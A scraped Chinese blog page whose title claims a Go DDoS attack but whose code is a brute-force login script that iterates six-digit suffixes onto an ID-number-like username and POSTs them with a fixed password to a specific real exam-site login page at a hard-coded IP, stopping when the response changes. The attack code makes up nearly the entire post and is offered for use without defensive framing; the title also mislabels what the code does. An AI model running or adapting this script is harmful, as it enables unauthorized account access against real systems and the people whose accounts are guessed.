zoukankan      html  css  js  c++  java
  • 用golang实现DDOS攻击网站

    package main
    
    
    
    import (
    
    "bytes"
    
    "fmt"
    
    "io/ioutil"
    
    "net/http"
    
    "os"
    
    "strconv"
    
    "strings"
    
    "github.com/op/go-logging"
    
    )
    
    
    
    var logger = logging.MustGetLogger("evil")
    
    var Err []byte
    
    
    
    func init() {
    
    format := logging.MustStringFormatter(`[%{module}] %{time:2006-01-02 15:04:05} [%{level}] [%{longpkg} %{shortfile}] { %{message} }`)
    
    
    
    backendConsole := logging.NewLogBackend(os.Stderr, "", 0)
    
    backendConsole2Formatter := logging.NewBackendFormatter(backendConsole, format)
    
    
    
    logging.SetBackend(backendConsole2Formatter)
    
    }
    
    
    
    func main() {
    
    
    
    for i := 200000; i < 320000; /*000000*/ i++ {
    
    
    
    nonce := strconv.Itoa(i)
    
    if len(nonce) != 6 {
    
    loop := 6 - len(nonce)
    
    for k := 0; k < loop; k++ {
    
    nonce = fmt.Sprint("0", nonce)
    
    }
    
    }
    
    logger.Info(">>>>>>>>>>> ", nonce)
    
    
    
    resp, err := http.Post("http://222.132.30.219:8203/kaoshi/login.asp", "", strings.NewReader(fmt.Sprint("username=370785198703", nonce, "&password=111009")))
    
    if err != nil {
    
    logger.Error(err)
    
    continue
    
    }
    
    logger.Info(resp.StatusCode, resp.StatusCode)
    
    
    
    body, err := ioutil.ReadAll(resp.Body)
    
    if err != nil {
    
    logger.Error(err)
    
    continue
    
    }
    
    
    
    if i == 200000 {
    
    Err = body[:2000]
    
    logger.Info(string(Err))
    
    continue
    
    }
    
    
    
    if bytes.Equal(body[:2000], Err) {
    
    logger.Info("error")
    
    continue
    
    }
    
    
    
    logger.Info(string(body))
    
    break
    
    }
    
    
    
    logger.Warning("not found")
    
    }
  • 相关阅读:
    Linux下安装配置jdk
    Linux基础实验(二)
    Linux基础命令(一)
    Linux基础实验(一)
    QT 参考资料
    C++ const_cast用法(转)
    05 内嵌汇编的编程
    构造函数和析构函数可以调用虚函数吗(转)
    C++之迭代器(Iterator)篇 (转)
    链接脚本
  • 原文地址:https://www.cnblogs.com/hzcya1995/p/13313587.html
Copyright © 2011-2022 走看看